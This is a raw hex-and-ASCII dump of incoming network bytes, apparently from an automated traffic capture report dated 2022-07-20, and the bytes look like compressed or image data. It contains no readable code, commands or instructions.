2022-07-20 17:09:02 UTC	8072	IN	Data Raw: 19 78 96 58 63 77 98 b9 2e bb b1 ad b5 3f 09 25 5f d3 d1 ef 2a fc 0f 97 82 24 07 18 93 a9 b5 b8 71 ad 55 08 ec 32 b5 3b e5 7c 9a 2e 51 19 82 1b bc 44 ea 02 4d ed 2d e6 35 1f 1c fc 59 1a 35 42 15 7a 58 f6 49 f0 d6 4c ff 00 89 12 a1 23 b9 c4 b3 cb 3b f1 cb 9f bb c7 f8 7f bb a7 2a d8 92 49 3e af 2a d6 3f 98 72 bc de 57 91 26 7f 2c 08 a8 2e 5c 03 b1 c7 ff 00 c3 d1 18 99 7f fe 32 29 79 49 59 23 b5 b1 c1 d3 a5 bf fc 2d be f3 cc fb ba d3 65 f0 b3 1b 44 ac a9 b3 ab 60 20 6f 37 a7 5f 3e e7 39 f0 e3 65 99 b1 f5 45 97 13 e9 24 f6 19 74 f1 15 f7 77 fd 66 e2 76 29 f1 03 dd 31 44 1d 46 51 ee fb 8c 3a 2d ee d7 ed 3f af 50 da 1c f6 37 a3 cd f9 7d e5 6b b3 b9 54 d9 b0 3e 26 4b 2b 2b a5 b5 7b cd 43 b1 2f 75 37 2b 2c df 25 e4 40 e5 64 95 59 41 b0 d0 a5 9a f6 ec b2 3e 9d 14 Data Ascii: xXcw.?%_$qU2;\|.QDM-5Y5BzXIL#;I>*?rW&,.\2)yIY#-eD` o7_>9eE$twfv)1DFQ:-?P7}kT>&K++{C/u7+,%@dYA>
2022-07-20 17:09:02 UTC	8088	IN	Data Raw: e5 cb 94 69 12 45 24 40 87 4b 6e 92 db ba 51 bd fd 67 fe 55 e7 3c c0 3b e3 26 93 1b dd 81 b6 a5 5b f9 f4 cf 9e f3 89 70 a3 00 b6 a9 18 10 a3 b2 bb 3b fb 95 0f 14 11 c6 91 20 7f e7 46 d7 53 b8 f1 b7 1f d4 a7 87 3a 82 b9 0e 56 e4 ae 73 ec 59 f3 62 0b 1b 32 15 37 f2 7e ad 0f 8b 9d 2c 11 88 e6 53 29 17 b1 04 86 1e 9c c9 4a 79 5f 34 cc 92 46 85 8b 18 c8 b0 1d 6c c6 b4 58 38 bc 6c 36 8c 36 86 27 6b 75 f9 d4 a2 5b b5 01 5b 06 00 e9 bb 9f c4 a4 84 49 1b 31 78 df 87 35 e6 a1 bf dd 72 22 42 cc a2 ca 2e c5 81 35 1c 3e 6a 72 84 8e d2 f0 d1 56 e7 4a 8e 8f d8 a3 39 97 2e d6 8b 8d 8c d7 2f 6b 8e d3 30 5e d4 f3 3f 83 fe a5 2c 4f 97 84 61 e3 89 a4 75 ef 86 21 45 fd 05 a0 51 13 26 47 70 9d 9b b4 f2 96 b1 14 a3 98 f3 95 cc 60 78 0a e5 01 54 69 b7 8a a9 fc 24 f5 74 af 99 e5 Data Ascii: iE$@KnQgU<;&[p; FS:VsYb27~,S)Jy_4FlX8l66'ku[[I1x5r"B.5>jrVJ9./k0^?,Oau!EQ&Gp`xTi$t
2022-07-20 17:09:02 UTC	8096	IN	Data Raw: cb cd 78 27 98 93 00 29 24 70 8d f7 7f c6 9f b8 9f c2 a6 b9 39 dc d7 26 56 5c 5d 38 f1 9b 02 53 d6 4a 4d bd d7 71 2b 3c c6 af ff 00 c8 93 a7 1c 8e d1 ac fb dd 1f 99 0a 7f 0e ba 27 e9 8c 51 76 46 24 5e 75 cb db ab 23 e5 cf c8 e6 03 8b 31 c2 2d a4 28 3a f8 24 7d e6 ec 8f f0 bf e8 fb ca 6d 99 39 48 f8 f8 e4 33 b0 0a 9d 6a 49 3d b6 d1 da 44 a5 bc bf 4f 2f 9c 62 34 cc d2 3b 71 08 63 ab a4 7a cd fa 4b cd e1 8b 13 98 36 56 06 42 00 56 ef 12 91 a4 38 3b e8 ad ec 78 8f db ac f9 7b 37 97 b8 70 7d df 48 34 aa d2 0e 9a cb 1e 5e ed 3f 89 fe a5 37 30 46 98 06 f2 65 8d 6b 39 5f 2b ca 89 df 26 79 4c a2 4b 12 87 c4 3e e9 3d da 7e 1d 47 9a e5 63 73 05 38 f9 49 65 43 70 a7 77 7d 7d 06 a5 1c af e6 e5 8f 54 d3 5b b3 6b 28 d4 c3 d3 c7 6f fc 94 ff 00 0e b3 b9 fc fb 0f 2b 29 f2 Data Ascii: x')$p9&V\]8SJMq+<'QvF$^u#1-(:$}m9H3jI=DO/b4;qczK6VBV8;x{7p}H4^?70Fek9_+&yLK>=~Gcs8IeCpw}}T[k(o+)
2022-07-20 17:09:02 UTC	8112	IN	Data Raw: 23 24 2d 89 07 64 e8 3b bf 53 b9 e0 a6 0e 4f 30 c6 57 84 1b be 93 66 d8 6d 7f 58 8f 49 65 63 64 07 75 b1 b9 6f 3d 12 d9 b5 ac f7 39 13 e6 ac b0 66 0d f7 04 c1 1a 6d ec f7 99 eb 0f 3e 3b 07 31 4b ba c8 48 23 e9 15 f5 89 96 08 89 9e 62 11 94 69 2d f4 1e ed 62 7e 65 e4 f3 c3 27 fb 9b 8b 24 b6 00 1e d5 87 62 49 13 cf ad 6f c3 e7 b1 29 6e 98 b6 ef f1 7d 4a b1 a3 2f a2 de 15 93 25 4c 9a 7a 85 72 57 51 26 a3 b0 9f 25 13 2c 44 35 91 47 d2 6a 89 a2 5b 5f ae b7 15 94 81 55 8a d3 af 97 b9 84 7c 41 8f 30 d5 00 60 74 9d ba db fb b5 a7 f9 dd f1 a3 e5 4e 80 ea 25 82 a7 9b de fa 9b 95 f3 de 5f 33 45 62 a4 ad 8e c3 d7 f5 6b 51 9c d8 fc cf 92 18 f5 33 64 e3 7a cd a7 53 3a df 44 ae df 87 bf 59 f3 c0 17 b8 8d c6 56 ea ad ca fe 5f 4e 97 13 ba c8 06 5b ad a2 2f 96 4f fc 95 2f Data Ascii: #$-d;SO0WfmXIecduo=9fm>;1KH#bi-b~e'$bIo)n}J/%LzrWQ&%,D5Gj[_U\|A0`tN%_3EbkQ3dzS:DYV_N[/O/
2022-07-20 17:09:02 UTC	8128	IN	Data Raw: 7b 6f 8a 57 f1 d5 d9 58 0f 14 8c 65 8c cf 91 23 1b 15 f6 42 9a f2 09 e5 c4 8c 62 3a 84 5e f3 db 7a fe 65 29 04 2e e1 9b 04 6e 5c 77 b7 bf 77 1f fc 95 0c a6 33 b1 d9 18 ef 11 c9 53 e5 dc e6 4c 65 30 11 6d 36 07 c5 52 c9 75 8d 46 2c 71 14 92 6d aa e7 79 b7 7d e7 8f ed d4 17 91 b6 4e 5f 13 0d 8f 0d 8f ac 62 05 b6 77 15 7b 74 7e 26 14 f1 e4 bc d9 2f a8 a8 d0 83 c8 80 ea d6 fe 7d 3a 55 7e cf b7 7e a9 6b 0c 52 18 f1 49 23 ce 4e 3a 90 a4 49 b9 c0 35 cf 2a cf 65 7c ac f8 19 69 9d 1b 1e 01 b0 98 77 ac dd b9 38 6b e1 ef d3 f3 06 2f 28 c7 79 89 72 80 5f b5 a8 9f 04 71 2f 9f dc a2 f3 65 58 e2 6d 5d 04 11 6f 2f 99 59 2e 53 97 8f 9b 99 c2 9e 42 b1 c4 da e3 42 4e f3 fd 7f ff 00 06 f7 10 d6 2e 72 77 4b 9b 64 12 1e 2c 39 e3 fe bd 58 26 c3 2f a5 56 73 5f 96 5f 3a 06 ca 9d Data Ascii: {oWXe#Bb:^ze).n\ww3SLe0m6RuF,qmy}N_bw{t~&/}:U~~kRI#N:I5*e\|iw8k/(yr_q/eXm]o/Y.SBBN.rwKd,9X&/Vs__:
2022-07-20 17:09:02 UTC	8136	IN	Data Raw: 6b 7a f9 aa cf cc 79 4e 5a e3 e6 de 40 ea 09 0b bf b1 bb de af bf 5a 07 40 a4 68 3a 81 00 8f cf 4c e1 cd 87 12 4e 2c c4 69 5e 9d b6 f4 53 fb 95 4c 50 47 96 9e ae d1 b0 66 b8 23 78 02 75 c6 9c 3f 42 ab c9 30 70 1c a8 8c f0 b6 1c 2f fb ca 1b 0f cd 4a 72 31 a3 c8 5d 2e 2f 6a 5b fe de 51 38 91 8b e9 24 10 3a 45 3b c9 c4 97 15 87 10 59 4f 41 e9 53 5c 10 68 4d 40 58 39 26 ff 00 48 a3 49 8a 8d 0d d4 d0 94 14 27 2b 74 99 52 09 98 ac 68 f7 36 f0 b7 77 f7 e9 e6 77 26 99 64 55 c3 8c 2a a1 d4 ac 08 0d b7 c5 27 6e 93 28 c7 8e 68 b8 dd 32 16 52 01 da 7f 89 e6 6f d3 83 91 97 8a bc 15 65 32 c4 ba 92 e7 d5 c8 9d 9f 5d fc 3a 4c e5 b2 0c 9a 5e fb af c1 ed 54 81 61 63 a8 a0 60 c3 e6 38 53 85 ca 7d 50 48 0e ec 84 6a 1f c2 99 77 78 95 93 e7 32 ca f9 6c 27 ed 0d 97 20 5e dd c7 Data Ascii: kzyNZ@Z@h:LN,i^SLPGf#xu?B0p/Jr1]./j[Q8$:E;YOAS\hM@X9&HI'+tRh6ww&dU*'n(h2Roe2]:L^Tac`8S}PHjwx2l' ^
2022-07-20 17:09:02 UTC	8152	IN	Data Raw: 24 7b d5 39 f9 ac 3a 02 dd e2 70 f6 26 db aa bd f8 38 91 71 13 b3 43 62 66 07 23 37 0d 23 d2 36 1d 2e 34 74 76 5a 3f 57 c1 de aa 32 79 ae 31 9f 71 1e 09 18 e9 90 a8 d2 09 ef bb fb 99 3f 4e 90 61 05 cd 94 e9 e5 f5 3c e9 bf 50 4d 87 8d eb 55 8f 93 06 4a 0d 0e b2 0f ca 0d 72 57 6c 56 07 b5 17 87 6e ab f7 3f 97 59 ac c8 d6 10 a2 18 8c b3 db 56 a4 3a 1c 0e d7 ad 65 f5 75 63 72 0c ac dc 44 69 92 39 d1 0e a2 aa d6 76 3e 1f 88 f5 6f 25 47 6f da a9 70 77 a4 5e 2e 97 33 63 f9 7e ee 80 e6 45 ae bf 23 51 1f 33 aa 73 2c 47 c5 55 2f 28 37 40 bb 4d c0 dd f3 e9 7f 2f 97 98 c1 02 63 64 c5 26 32 a2 e9 69 0e c3 a0 77 20 fc 4d 1e 7a 51 78 30 72 7c 28 b5 cd c3 45 6b d8 4a 01 91 3b 9c 3d 52 7a dd 51 d2 61 ce f2 31 33 e4 c7 8f 29 b8 44 de 02 4d e3 7b fb 3e 3e 46 b4 f5 3e ef 8d Data Ascii: ${9:p&8qCbf#7#6.4tvZ?W2y1q?Na<PMUJrWlVn?YV:eucrDi9v>o%Gopw^.3c~E#Q3s,GU/(7@M/cd&2iw MzQx0r\|(EkJ;=RzQa13)DM{>>F>
2022-07-20 17:09:02 UTC	8168	IN	Data Raw: 57 5e c3 aa 5d 4c e9 af 71 e8 1e 5c b8 71 63 4e 21 27 8a 51 49 d6 07 89 7b fa 9d 56 86 e6 7c 5c 5c 68 8c 8c 0c f3 6f 93 d2 d1 a2 1f 52 a9 27 73 8d 26 b7 96 b3 11 2e 5d 15 8c 79 b6 ee 5c 5f 79 f4 29 92 44 84 02 ca ac df 9a b4 b9 a6 7c 95 d2 93 de dd c2 4a 8d 4a 7b fc 3f 6d f7 9e 0a 14 f3 9c cc 2d b9 88 b3 29 3d b4 dd 3f 62 a5 c8 39 dc 3c d6 d0 65 28 f8 80 3b 5d 4e 07 ea bd 39 6e 57 14 a0 aa a1 37 1d 55 46 47 e9 b7 4e 65 be 3f ab fb b9 28 55 14 0d d1 8d f5 dd a1 70 f3 b1 b3 4d d1 8a b0 e9 56 16 34 26 6a c9 16 b8 51 b8 7c 42 00 60 74 86 d5 ab da 52 1e 6f 88 b8 39 9c 17 7d 3a 76 ea 3d 61 bb 1a 92 9a 72 8c 86 cb d7 8f 37 ac 88 5c 6a eb 04 78 35 ef d3 4c 01 14 4a a7 28 c8 ca cd 52 1b 5b 1a 73 c8 71 70 39 38 47 60 72 39 83 8b e8 51 7d 1f 6b 72 3f e2 c9 44 73 bc Data Ascii: W^]Lq\qcN!'QI{V\|\\hoR's&.]y\_y)D\|JJ{?m-)=?b9<e(;]N9nW7UFGNe?(UpMV4&jQ\|B`tRo9}:v=ar7\jx5LJ(R[sqp98G`r9Q}kr?Ds
2022-07-20 17:09:02 UTC	8175	IN	Data Raw: 85 82 b4 7c 32 f9 12 59 62 8d 2f d3 ef 25 9e 6f 0a d0 8e de 47 8c 1b 69 c5 cb bd 9f 3b d0 de fb 2b 51 93 8f 8a 10 4d 92 da 63 51 b0 33 7a bf 4b 4f bd 77 a4 4b cd 97 3f 28 62 e0 91 18 50 15 da 5e 86 29 eb 38 51 62 2f 0d f4 ff 00 87 50 7c 9c 8c c1 62 ca 67 04 85 2c 3d 54 1e 7c 30 f8 ff 00 1d fd 65 5d ca 3e 5a c1 c3 88 6b 6d 59 1b 18 ca 0e f6 a0 75 7a ad 4b b9 ae 89 02 c0 8d 99 2d 21 dd 8c 5b 2c 3d 7f cb 8e 99 98 b6 27 fa 29 b4 7c be 38 8f 1f 28 f1 e6 27 b4 eb d9 bf dc 43 d8 89 28 e8 a4 d8 16 35 b8 1f 9a d5 56 2b ca 46 f1 0c 36 ed 3f a3 57 ac e4 30 43 d6 6a 81 bb 92 18 dc f2 f9 68 43 5e bd 95 9c b8 ca aa 48 53 7d b6 ed 7a 54 08 97 1b 27 98 3a ca 0c 69 c3 50 4b 1b 2c ad 76 f5 8a 94 bf 22 5d 73 9b c7 b7 51 b9 2d d3 63 ee d7 4d 57 cd 79 86 54 71 29 40 38 ec c3 Data Ascii: \|2Yb/%oGi;+QMcQ3zKOwK?(bP^)8Qb/P\|bg,=T\|0e]>ZkmYuzK-![,=')\|8('C(5V+F6?W0CjhC^HS}zT':iPK,v"]sQ-cMWyTq)@8
2022-07-20 17:09:02 UTC	8191	IN	Data Raw: 18 83 63 e2 4b 66 ba b0 04 9b 3b 76 74 2c 9e cb fe 9d 4d f9 ac 99 92 7c 20 88 07 2d a2 42 00 3a ad dd e2 ad 53 6e d4 a1 12 22 ba 2a f3 33 74 fe 9d 18 92 c4 8b ef fd 2a 4d 0f 2e 75 95 1e 60 d1 c9 70 48 1e f4 76 9f 86 df fe 11 a3 b7 17 bc ad 8f 2f cc c0 cb 5e 04 2b ad 64 b9 60 4d 85 fc f6 a0 73 79 74 d1 72 e6 c6 ce 1a 34 ba 32 9b d9 89 d6 89 c6 8b d1 47 a5 5f 30 72 99 f0 a6 2f a5 9e 29 0e 94 91 6e da ef ec e3 c9 e1 ff 00 f7 3f 8d ef bd 3a 6c 9f fc 96 c6 42 d1 4e 84 e0 39 1b 0c 64 fe dd 1e 2c 05 c1 c4 f8 fa d4 7f 37 e5 b0 72 49 62 9a 69 16 58 18 92 12 db 43 78 1b ef 52 99 e3 fc cb 82 f2 24 d0 b0 8e 40 9a 4c 56 50 ac 7b 48 f4 07 fb 5e 0f c3 a1 9b 4a 94 50 58 93 b4 0f 3f 89 4a e5 ce e4 f1 c8 c8 c9 06 8e 90 c4 c8 cc 4f d5 d1 fd 3d 5d 0e 62 65 20 2c 99 db 17 31 Data Ascii: cKf;vt,M\| -B:Sn"3tM.u`pHv/^+d`Msytr42G_0r/)n?:lBN9d,7rIbiXCxR$@LVP{H^JPX?JO=]be ,1
2022-07-20 17:09:02 UTC	8207	IN	Data Raw: e4 59 b5 13 b3 b1 f7 71 6f 52 68 4a ca 2f 1e f5 fa 87 97 c3 5a 88 be 59 e5 d8 4d 70 b1 a9 b7 4b 0d 60 7f 12 59 5a 82 cb 81 61 97 5a ef 46 16 c8 40 d8 17 bb f5 56 aa 45 22 05 b4 79 95 f0 32 53 80 1b 2e 19 85 67 e6 51 c0 39 00 ea 6d 56 09 a5 83 db bc f2 6e f6 2b 91 63 b4 d2 2c 60 6d 7d 82 fd 14 fc 63 19 d5 65 91 c2 a8 1d 00 0d e0 7c 6e d5 4c 71 c1 1c a9 20 60 42 ef 5b a8 a7 b2 95 51 a9 c2 7d 08 1b 6b 99 41 1f 2d 09 36 24 9c b1 c4 6f 95 24 71 31 ec 46 08 d4 3e f7 5e f5 38 93 93 e0 45 14 79 01 4c b2 13 65 e2 b1 91 5b f0 b8 3e ae 88 e5 f1 60 cd ae 70 37 14 8d 28 41 2f bb db fa 9a aa c9 4e 4e 4c ba e4 8d 52 15 6d cf 13 2f de f9 8f 55 65 99 c9 0a 4b 26 1f 13 ec f3 f5 37 2b 94 5b 55 b5 be 4a 43 cc 39 39 89 8c d2 c0 21 2a d6 06 1d 81 4f 99 c3 6d 7f 6e 99 e3 7c b7 Data Ascii: YqoRhJ/ZYMpK`YZaZF@VE"y2S.gQ9mVn+c,`m}ce\|nLq `B[Q}kA-6$o$q1F>^8EyLe[>`p7(A/NNLRm/UeK&7+[UJC99!*Omn\|
2022-07-20 17:09:02 UTC	8215	IN	Data Raw: b3 47 da 53 7a d7 f3 0c 69 d2 21 cd f1 8d c3 aa 99 a2 1b aa e9 e3 6d 1e f2 3a c7 a8 b7 55 7d 0b 90 ca cb 85 03 4a 4d 8a 74 1d 9b be 3d 15 9b df 31 4c 5c 0b eb 83 2f de 47 e4 ab 11 9d 6d e0 6a 86 e6 d9 a6 35 e1 62 23 af 94 ca 3a ff 00 95 54 c9 cd b3 50 2a ac 60 5c 6d 52 db 17 eb 2a 50 fc bb 9e 3c 25 e1 8e 26 97 1e 3b 95 71 da 09 7d ef 57 ef e2 c6 f3 29 9a 4e 73 e2 e2 30 21 0d b4 91 bc 1b ec 6e d5 26 41 19 d6 34 c7 d3 93 7f 5e 9a ca 4e 9e 5a 4f cf b9 84 b2 44 a6 62 04 40 ec 54 5d ad 27 a7 26 f7 f9 75 9e e5 b8 e9 3e 5d 90 58 f4 b1 e9 37 26 b4 9c cf 96 3b 27 1e 41 72 86 ca a0 dc 01 de 7f 4e bd f2 56 0a c0 66 c9 97 64 84 e9 0a 7a aa da 4c 91 76 ec 57 68 dd b2 f9 9a 81 af 61 7f 1a 27 9d e0 63 40 89 91 76 76 16 5b 77 5a e7 bd 56 43 8f 95 96 c4 69 31 28 16 52 76 Data Ascii: GSzi!m:U}JMt=1L\/Gmj5b#:TP`\mRP<%&;q}W)Ns0!n&A4^NZODb@T]'&u>]X7&;'ArNVfdzLvWha'c@vv[wZVCi1(Rv
2022-07-20 17:09:02 UTC	8231	IN	Data Raw: bd ed b7 a0 d2 3d 22 71 ae 5b eb be d3 6d 95 6c 52 c4 e3 84 db 07 42 91 4a 96 35 71 eb 2e d3 42 54 37 c9 47 f3 1c d4 d0 51 2f 72 48 d5 d5 bb e0 af 52 c6 6e 1f ab bd c0 d9 5e a1 e8 8c 2d e1 b7 2a 0f 1b 57 ff d7 0b 9b a3 49 22 99 34 82 35 6c 52 2d d3 ab 5e e6 ed 04 c0 05 04 6c db 63 b7 a4 f8 eb 53 f3 24 13 4e ea b1 d8 c5 a7 50 00 5b 43 01 bf c4 a4 90 4b 12 e3 b8 16 e3 93 a2 c4 5e ca 7b 6d e6 68 df af 31 0c b9 46 a4 0f 9a bc b4 eb dc eb 4b e0 94 e3 39 65 01 d0 8d aa 6e 14 db b3 f6 3b 94 eb 1a 66 c8 37 8c a9 4d 8c a1 bf 2e 9d 0f e8 7b da 56 62 3b 10 0b 93 60 07 94 d6 97 96 72 91 1b 35 ee 16 15 d2 e4 8e d4 9b 8d c3 81 ff 00 8b ae a7 b9 75 02 e7 8a 89 10 93 71 41 ce 27 7b 08 3b 7b 6f a7 74 11 e1 5f 43 b9 ae 9a a4 26 2c 60 72 a4 57 7b 74 1b 1f a9 f5 2a 31 20 78 Data Ascii: ="q[mlRBJ5q.BT7GQ/rHRn^-WI"45lR-^lcS$NP[CK^{mh1FK9en;f7M.{Vb;`r5uqA'{;{ot_C&,`rW{t1 x
2022-07-20 17:09:02 UTC	8247	IN	Data Raw: b7 ec 7f 2e a5 0a 34 b6 cb 04 f9 79 e4 f3 d4 5c 81 60 69 bc 98 b3 e7 48 d2 63 f0 95 de 2d 25 8d f5 26 af 68 b1 fa 7f 5e a7 8f c9 e0 c1 ca 84 b0 3a a1 b9 03 61 04 5b b5 ab d5 f6 7d a5 0a c8 ef 02 ca 0a aa ac 69 ac 82 77 d9 75 2f 6b ea 54 4f 30 c8 68 9e fb f0 35 a3 40 5b 79 47 7f 87 e3 e2 50 80 fb 14 8c 78 31 a2 2d 61 f2 53 9c fc 31 cd b1 8c 65 48 56 2a 43 28 df 2a 3d 3d da ca e7 72 fe 67 c8 02 08 98 cb 05 c9 d3 6d 4b e8 4c 95 a6 e5 13 e8 44 c6 88 92 b1 0d a1 ba ff 00 0a 3d 3e ee 3a 96 89 b9 de 3a 64 c3 29 40 2e 40 16 17 f3 1f d1 a5 45 2b 40 4a 9c 4c 19 6f 09 3d 6e 0a 13 be 35 b9 ac 47 33 f9 8d b8 a9 f0 c5 d4 05 da a6 ea ca fd 97 df 4f 32 a7 ca f9 c6 53 b0 8b 0c 91 29 e8 53 b5 4f d9 fd b4 a6 5f 3b 43 88 56 29 80 1f 1a 4d a4 b1 ee 8e f4 c9 e3 a0 3e 5f e5 79 Data Ascii: .4y\`iHc-%&h^:a[}iwu/kTO0h5@[yGPx1-aS1eHVC(==rgmKLD=>::d)@.@E+@JLo=n5G3O2S)SO_;CV)M>_y
2022-07-20 17:09:02 UTC	8255	IN	Data Raw: e4 9f cd a9 e1 76 5c a5 77 a2 65 62 8a 57 70 ae ed b2 aa 66 9b 99 61 46 f3 ca e5 b1 35 9b 3a 32 ae eb 37 aa d1 df f3 29 07 cc 79 19 6c 57 07 20 f1 76 89 37 1b 59 fb b8 d6 49 7c 68 9f 87 5b de 7b 0e 2c 38 12 19 d7 d5 22 1b 20 d8 0b 36 e4 6a bf 88 ce fe ae b2 7c 9b 94 67 be 37 c5 b4 23 88 c8 c1 4e a0 8d e6 ee e9 ad 99 5e 48 a2 58 e2 5b b3 64 a1 15 f1 c3 2e 3f ee 63 fb cf b2 a0 10 00 dd 4f 37 d5 7f dd ff 00 c7 56 e6 41 14 18 69 9f 8e 8b 8f 8d ba ad 1b 13 ac 9d 4a 9f 11 0a 69 f6 89 bf c4 fb f8 e8 bc 34 c3 e7 0a 26 85 ee db 6e 45 c7 41 ed 2a 3f bb a9 e7 63 65 67 61 88 f2 a3 0a 8b 1a e9 67 0b a8 bb 0d 13 7a bf 77 b9 ff 00 3d 67 31 4c 7c 9d a6 6c 76 e2 44 36 29 be f2 9f 45 77 3d 64 9f 89 59 7f 8a 76 d1 32 2b 45 ee fb 9b 02 ca bc cb f0 a9 f0 97 08 32 25 b7 77 b2 Data Ascii: v\webWpfaF5:27)ylW v7YI\|h[{,8" 6j\|g7#N^HX[d.?cO7VAiJi4&nEA*?cegagzw=g1L\|lvD6)Ew=dYv2+E2%w
2022-07-20 17:09:02 UTC	8271	IN	Data Raw: af 20 1f 11 94 c5 de 64 da 07 65 7f 9b e2 a7 bc b3 97 e3 63 48 40 70 8c db c5 49 e9 66 f0 c5 dd a7 77 92 0e f8 94 89 91 a4 67 dc 6c 70 cd 61 4f 3e 1f ee 7d 9d 02 6e 6a de 02 80 c8 e5 eb 8c eb 2c 32 9d 08 c0 b0 27 b0 bf 57 f6 e9 b6 76 22 64 b4 72 40 59 89 5d cd a5 a3 d4 c5 75 3c 9a 7d 62 7f a7 4a 39 aa 0e 5d cc 1c de f8 f2 c4 aa e5 8e a4 13 12 ff 00 af 15 73 95 e4 4a 21 3c 09 83 86 6b 16 e9 28 9e 08 e3 ec 51 76 e3 f9 36 68 7b a1 d5 8e 44 5c d8 65 e5 ea 72 54 38 25 83 ae d6 dd a4 bf 3d eb 8b 2a 18 72 58 e4 02 8c 52 34 1b a8 fb b1 e8 8f 87 eb 1f eb d2 bc 0f 97 9a 28 78 d2 c9 1c 31 90 75 06 bf 15 3b ba 25 4d cf b1 5a 3e 60 89 fe ee 85 f5 44 b8 f8 f7 dc 03 5b 5c f8 97 5b ef a7 7e 90 73 7c ae 51 9c ca d1 b1 59 09 37 62 59 98 fd df 17 5b 55 99 e6 2c c2 28 fa ab Data Ascii: decH@pIfwglpaO>}nj,2'Wv"dr@Y]u<}bJ9]sJ!<k(Qv6h{D\erT8%=*rXR4(x1u;%MZ>`D[\[~s\|QY7bY[U,(
2022-07-20 17:09:02 UTC	8287	IN	Data Raw: e1 78 fc fa ae f3 08 98 23 d9 95 93 3c f8 7f c4 4f 3d 35 5c 3e cb 83 e8 7e 5a 4f 85 1c ac 40 9a c4 1d b7 04 6c f3 5e ac cc 8a 37 7b 5b 7b 49 0a 0e c5 3e 87 9c 94 3c 41 d6 50 91 a3 b4 c0 80 14 0e 93 7e c7 a5 4f 39 7f 2d 39 73 99 79 a4 12 26 3c 4b d7 b9 bc e7 44 5e 7f f8 74 2c 48 6c bc 2d c9 fd 4a b0 08 c6 d4 8a 28 62 12 a6 c0 19 88 b8 e9 d2 2f bd 4c 1b e5 ec dc 99 75 42 92 49 ab 51 01 57 4e c5 fc 69 ab 7b cb 79 56 90 15 84 31 98 f6 46 02 0d 40 7d e3 3f b4 e2 3f de 51 3c e2 5f 82 58 df 44 8d 3d 88 dd ec bd ff 00 6e ab c5 de 19 a4 64 42 13 a6 99 65 2f c2 a9 d3 65 63 39 1f 29 81 01 13 a3 17 d4 10 a8 3a 63 5e f3 34 f3 27 ae 92 6d 54 f7 0f 93 e2 f2 c8 25 c7 c5 2e 1a 56 0c 6e c4 ae ce f6 f5 1f c9 da 4c a8 a3 3c 31 1c 8e db 41 1f 6e 8c c9 82 1c 86 68 d8 28 64 3a Data Ascii: x#<O=5\>~ZO@l^7{[{I><AP~O9-9sy&<KD^t,Hl-J(b/LuBIQWNi{yV1F@}??Q<_XD=ndBe/ec9):c^4'mT%.VnL<1Anh(d:
2022-07-20 17:09:02 UTC	8295	IN	Data Raw: 7f ea f6 38 94 24 fc a3 1b 0b 95 64 cd 91 27 1a 63 d9 6d 46 db 37 20 dd f1 c7 5a 91 7f 2e d8 e2 77 65 68 fa 91 63 96 32 fe c5 28 97 06 c3 67 9a f4 0f 31 e6 38 18 41 86 1c b7 91 94 3a 91 de b9 de 83 29 7b 1a fc 15 35 e6 53 e7 e2 3f 08 10 8e da 5a fb f6 36 ec 69 f7 71 7e 85 64 e4 c2 94 32 4a 51 82 c9 72 a6 c7 4b 69 f6 9a 5b cd a6 1c 86 77 c6 ce 01 0b 5e e4 69 03 56 df 45 b7 19 6b 4e 4e d1 51 2e 0f 51 d7 de 64 f4 b0 c7 d1 b6 b4 1c 98 c9 8f 91 14 01 10 85 b9 27 a4 7f 3b d1 ad 5c 79 8a d2 97 66 0c 45 94 2a 0d 2b a4 7a cd 6c 8d df ac d3 e5 2c 79 2a d1 44 ca ec 41 90 b2 e8 ba 77 b8 7e 9d 1a 66 c9 32 ba c0 81 86 9b 8b b6 90 a1 75 6e 46 9e 65 67 4a ce ea 57 45 59 06 4c 3c db d4 6a 00 37 bb 13 e1 43 f3 9c b8 20 ca 96 09 d7 5a 4c 52 48 d6 ec 19 cc 83 44 9c 04 8f cf Data Ascii: 8$d'cmF7 Z.wehc2(g18A:){5S?Z6iq~d2JQrKi[w^iVEkNNQ.Qd';\yfE+zl,yDAw~f2unFegJWEYL<j7C ZLRHD
2022-07-20 17:09:02 UTC	8311	IN	Data Raw: 72 ac 7d ca c9 29 27 00 cd b9 16 5e dd 11 62 c3 96 be 7d 17 29 e6 d9 81 63 8e 09 02 9d 8a 4a 90 bd 3f d3 b7 4f b9 3f c9 1c c0 b3 ae 54 81 63 03 6a f6 98 f9 f1 d6 b1 b1 32 94 d9 4f 5e 95 b5 c7 ea d1 50 f2 99 24 4f 5d 2a 02 46 80 08 2c c3 eb f1 12 8f 3e ea 4b c7 d2 c3 d8 e5 f9 f2 d4 70 ea c7 f4 de b3 5f fe 29 60 e3 38 96 55 95 c2 8d a1 9b 73 fc af d4 d7 5a 3e 53 ca b9 4b 3a f0 f1 e2 1a 56 e6 eb 7d a7 f8 9b 94 62 62 c7 86 b6 70 ec c4 80 74 ef 2f a7 fb f4 bd f0 c3 e4 32 e3 48 c5 62 6d 41 10 ed de f1 6e f7 7d 67 0e 8a 18 67 ed ed 34 99 4f bb 8b 41 ce 95 d8 86 bd 89 03 cd cb 43 0c 19 71 e3 2b 8e 1a 26 62 f6 58 ed ba b7 d3 eb 27 93 47 aa 4a 2b 1f 2d b0 dd 30 b3 a5 8f e2 1d 75 a1 56 d8 47 d6 d0 d1 d4 84 f0 3e 97 75 66 24 95 64 2d a8 33 7b a8 bf 89 27 6e 97 66 72 Data Ascii: r})'^b})cJ?O?Tcj2O^P$O]*F,>Kp_)`8UsZ>SK:V}bbpt/2HbmAn}gg4OACq+&bX'GJ+-0uVG>uf$d-3{'nfr
2022-07-20 17:09:02 UTC	8327	IN	Data Raw: 18 86 00 77 fd 3f e9 c3 a4 fc cb 9f 43 3f 2d d3 14 2b 1b bb 58 1d 6c 64 fe 25 58 ec a1 9b d2 96 95 71 de cf 18 b1 a5 cd 28 62 14 82 a6 fb 2b 5b c9 22 5e 59 cb 51 f2 36 4d 21 bb 93 d2 5c f7 3f 97 4c 25 c8 29 8b f1 90 c2 f3 b2 02 0c 6b b3 55 fb db ff 00 77 5f 3c e5 5f 32 73 0e 5a ea d9 21 e5 88 0d 8a c0 ad bc 2d ad 96 9d e7 fc e7 97 cc 0c 70 72 95 bc ac 80 b9 b5 d9 4f 7e 18 97 d9 fa 72 d3 bb 4e d0 43 24 92 4c 51 f2 df cb 14 92 2f 53 07 fb 3a 60 6b a8 1a ab 53 cf 80 cb 95 91 cb c5 c1 50 0b c6 a0 ab 6d ee a3 bf 83 f9 75 c9 39 5e 33 e4 09 9d 04 ac 80 85 57 27 4a ea f3 28 51 ce 19 02 47 9e 8e 8c f6 bb 5a cb f6 e9 07 3f cf cd d4 f0 62 b0 58 6e 77 d3 74 b8 3d d9 65 fd ca 4c 73 5d b0 84 7f 2e 0e d6 7f 7b 